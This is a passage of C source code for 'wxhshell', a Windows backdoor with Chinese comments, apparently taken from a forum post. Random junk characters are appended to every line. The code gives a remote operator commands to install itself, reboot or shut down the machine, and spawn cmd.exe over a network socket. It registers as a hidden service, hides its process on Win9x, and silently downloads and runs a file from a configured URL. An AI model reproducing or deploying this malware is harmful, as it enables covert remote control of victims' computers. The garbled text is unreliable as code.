  $UCAhG$  
  // 帮助 u1PaHgi$  
  case '?': { *"n vX2iz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /)(#{i*  
    break; \z7SkZt,GT  
  } ICkp$u^  
  // 安装 uYil ?H{kH  
  case 'i': { $8[r9L!  
    if(Install()) pg%aI,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +H #U~p$  
    else G\r?f&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #x3ujJ  
    break; fUQ6Z,9  
    } (RZD'U/B  
  // 卸载 q]N:Tpm9  
  case 'r': { .?e\I`Kk^'  
    if(Uninstall()) MFm"G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p4i]7o@  
    else G\Ro}5TO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' n$ %Ls}S  
    break; }HYjA4o\A  
    } {=-\|(Bx  
  // 显示 wxhshell 所在路径 S"k *6 U  
  case 'p': { _}VloiY  
    char svExeFile[MAX_PATH]; | j a-  
    strcpy(svExeFile,"\n\r"); jSuL5|Gui  
      strcat(svExeFile,ExeFile); /<8N\_wh  
        send(wsh,svExeFile,strlen(svExeFile),0); nn9wdt@.]  
    break; `o?Ph&p}  
    } %T9  sz4V  
  // 重启 0}xFD6{X  
  case 'b': { UaViI/ks  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,b;{emX h  
    if(Boot(REBOOT)) @L:>!<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RxN,^!OV  
    else { -,{-bi  
    closesocket(wsh); 4bEf  
    ExitThread(0); =)` p_W  
    } p6XtTx  
    break; J@ktyd(P  
    } U}l14  
  // 关机 u@%r  
  case 'd': { P7f,OY<@%o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D.6,VY H  
    if(Boot(SHUTDOWN)) dN}#2Bo =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t"YNgC ^  
    else { g@Qgxsyk>  
    closesocket(wsh); d{de6 `  
    ExitThread(0); 1G'`2ATF*  
    } @b3#X@e}  
    break; {Pu\?Cq  
    } NAzX". g  
  // 获取shell H7k PM[  
  case 's': { K[7EOXLy  
    CmdShell(wsh); $VQtwuYt  
    closesocket(wsh); [ dE.[  
    ExitThread(0); 3o|I[!2.  
    break; R1W}dRE}  
  } X*7\lf2  
  // 退出 b2b75}_A  
  case 'x': { !HJ$UG/\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o(Cey7  
    CloseIt(wsh); oq_6L\ ~  
    break; kz S=g|_  
    } X5*C+ I=2  
  // 离开 @&hnL9D8lL  
  case 'q': { a3 >zoN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kw`VrcwjT  
    closesocket(wsh); xyE1Gw`V  
    WSACleanup(); <p?&udqD  
    exit(1); DBs*F x[  
    break; 0J8K9rP;z  
        } 6R29$D|HFO  
  } Z_1*YRBY;  
  } ^R$'eG 4L?  
/+3a n9h  
  // 提示信息 TjBY 4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z2bcCIq4  
} +/+P\O  
  } #DkD!dW(l  
&wetzC )  
  return; 3v!~cC~cI  
} O;]?gj 1@  
d= ]U_+  
// shell模块句柄 J:F^ #gW  
int CmdShell(SOCKET sock) XO F1c3'H  
{ Yp4c'Zk  
STARTUPINFO si; 2PSTGG8JV  
ZeroMemory(&si,sizeof(si)); "MiD8wX-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s-V SH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )J3kxmlzQ  
PROCESS_INFORMATION ProcessInfo; >LF&EM]  
char cmdline[]="cmd"; )-/gLZsx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y$tX-9U  
  return 0; ER{3,0U  
} v&MU=Tcqi  
}o9Aa0$*$  
// 自身启动模式 _hCJ|Rrln  
int StartFromService(void) "L2m-e6  
{ X^@[G8v%  
typedef struct Pcu|k/tk  
{ Nl8 gK{  
  DWORD ExitStatus; C/v}^#cLD  
  DWORD PebBaseAddress; j:1uP^.  
  DWORD AffinityMask; oVB"f  
  DWORD BasePriority; i.rU&yT%  
  ULONG UniqueProcessId; y>(rZ^y&  
  ULONG InheritedFromUniqueProcessId; 8 HoP( +?  
}   PROCESS_BASIC_INFORMATION; h#3m4<w(9  
;>2#@QP  
PROCNTQSIP NtQueryInformationProcess; ?(im+2  
Wtv#h~jy9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F$hZRZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @PcCiGZ  
X_70]^XL  
  HANDLE             hProcess; z*.v_Mx  
  PROCESS_BASIC_INFORMATION pbi; TV{)n'aA  
IM-`<~(I#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <FmBa4ONU  
  if(NULL == hInst ) return 0; P&t;WPZ  
Ob(leL>ow  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1| xN%27>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LC'2q*:'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xVR:; Jy[  
9p> /?H|  
  if (!NtQueryInformationProcess) return 0; bc}dYK3$q  
1-$P0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vbn>mg5  
  if(!hProcess) return 0; Uh+jt,RB`  
aW@oE ~`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cTj~lO6  
BQ#jwu0e  
  CloseHandle(hProcess); SLA#= K  
B/Ba5z"r$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4Vx+[8W  
if(hProcess==NULL) return 0; Bz]J=g7  
fSV5  
HMODULE hMod; MYTS3(  
char procName[255]; <R~KM=rL  
unsigned long cbNeeded; ;Prg'R[o;  
XZ@ >]P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WOH9%xv  
3o7xN=N  
  CloseHandle(hProcess); Fd"WlBYy0  
' PL_~  
if(strstr(procName,"services")) return 1; // 以服务启动 4sd-zl$Of  
w)<4>(D  
  return 0; // 注册表启动 4[H,3}p9H  
} nCB[4  
#wD7 \X-f  
// 主模块 `1_FQnm)  
int StartWxhshell(LPSTR lpCmdLine) U$EM.ot  
{ ./)j5M  
  SOCKET wsl; dp< au A  
BOOL val=TRUE; T]X{ @_  
  int port=0; 6)+9G_  
  struct sockaddr_in door; GFY-IC+fc  
UNY@w=]<  
  if(wscfg.ws_autoins) Install(); iDR6?fP  
R]VTV7D  
port=atoi(lpCmdLine); |Rk37P {  
intvlki]be  
if(port<=0) port=wscfg.ws_port; }9 FD/  
! fX9*0L  
  WSADATA data; 4Q/r[x/&C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AYYRxhv_,  
9$EH K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n\ Gg6Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hF9B?@n?B  
  door.sin_family = AF_INET; M;> ha,x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HWOek"}Z[  
  door.sin_port = htons(port); s V&`0N  
TR|;,A[%v#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /;b.-v&  
closesocket(wsl); 0ZFB4GL  
return 1; 7ia "u+Y  
} gnYnL8l`J  
6O%=G3I  
  if(listen(wsl,2) == INVALID_SOCKET) { }1@n(#|c  
closesocket(wsl); Za34/ro/T  
return 1; # e$\~cPd  
} M44_us  
  Wxhshell(wsl); "C?:T'dW  
  WSACleanup(); iczs8gj*  
%{=4Fa(Jux  
return 0; O5c_\yv=  
,7QBJ_-;QJ  
} Z<w,UvJa  
s }Xi2^x  
// 以NT服务方式启动 X"laZd947>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `x5ll;"J  
{ yo'q[YtP'  
DWORD   status = 0; =H L9Z  
  DWORD   specificError = 0xfffffff; ;&/sj-xJ2  
;CLR{t(N#V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (Be$$W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }3bQ>whF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UeFtzty,a  
  serviceStatus.dwWin32ExitCode     = 0; B'NS&7+].  
  serviceStatus.dwServiceSpecificExitCode = 0; y-D>xV)n  
  serviceStatus.dwCheckPoint       = 0; o:p{^D@#k  
  serviceStatus.dwWaitHint       = 0; ?S+/QyjcfJ  
s$Ic DuBu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k*A4;Bm  
  if (hServiceStatusHandle==0) return; K'>P!R:El  
-i| /JH  
status = GetLastError(); bkJwPs  
  if (status!=NO_ERROR) ABd153oW"  
{ H57jBD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {mKpD  
    serviceStatus.dwCheckPoint       = 0; H&"_}  
    serviceStatus.dwWaitHint       = 0; E&}H\zt#  
    serviceStatus.dwWin32ExitCode     = status; 1c1e+H  
    serviceStatus.dwServiceSpecificExitCode = specificError; Pcd i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >$d d 9|[  
    return; }xpe  
  } D/+@d:-G  
S(q4OQ B{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UMnR=~.  
  serviceStatus.dwCheckPoint       = 0; 2b{@]Fp  
  serviceStatus.dwWaitHint       = 0; 1\"BvFE*E~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pO-)x:Wg  
} EBN]>zz  
q[T_*X3o  
// 处理NT服务事件,比如:启动、停止 3|z;K,`Fw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _rWTw+ L  
{ 6|>"0[4S  
switch(fdwControl) )o}=z\M-bN  
{ X.r!q1_c  
case SERVICE_CONTROL_STOP: [qc6Q:  
  serviceStatus.dwWin32ExitCode = 0; ?w|\ 7T.?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d1C/u@8^  
  serviceStatus.dwCheckPoint   = 0; b*$o[wO9  
  serviceStatus.dwWaitHint     = 0; F ~11 _  
  { kiBOyC!r6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r;5 AY  
  } Bk@_]a  
  return; }J4BxBuV8  
case SERVICE_CONTROL_PAUSE: -h.3M0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rwi5+;N  
  break; "1pZzad  
case SERVICE_CONTROL_CONTINUE: sIQMUC[!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a*e|>pDO  
  break; >ZOZv  
case SERVICE_CONTROL_INTERROGATE: a'L7y%  
  break; Jq=>H@il  
}; Xl '\krz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~"hAb2  
} 0[3tW[j  
ygu?w7  
// 标准应用程序主函数 Vo58Nz:%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0v,`P4_k  
{ NJz*N%VWD  
v6, o/3Ex  
// 获取操作系统版本 o2t@-dNi  
OsIsNt=GetOsVer(); !15@M|,OL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 374_G?t&  
34&$_0zn  
  // 从命令行安装 |cBF-KNZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;L/T}!Dx  
w2mlqy2L  
  // 下载执行文件 ~wQ WWRk  
if(wscfg.ws_downexe) { 9dhFQWz"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f+(w(~O  
  WinExec(wscfg.ws_filenam,SW_HIDE); F b`7 aFIf  
} OW5|oG  
> &  lg  
if(!OsIsNt) { N"Nd$4  
// 如果时win9x,隐藏进程并且设置为注册表启动 >0G}, S  
HideProc(); \6PIw-)  
StartWxhshell(lpCmdLine); H'(o}cn7~  
} mfi'>o#  
else ^IegR>  
  if(StartFromService()) d3q/mg5a  
  // 以服务方式启动 d~oWu [F*  
  StartServiceCtrlDispatcher(DispatchTable); 97=YFK~*  
else `oI/;&  
  // 普通方式启动 #esu@kMU`  
  StartWxhshell(lpCmdLine); (VF4]  
[/`Hz]R  
return 0; !wufoK  
}
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只看该作者 1 发表于: 2006-10-10
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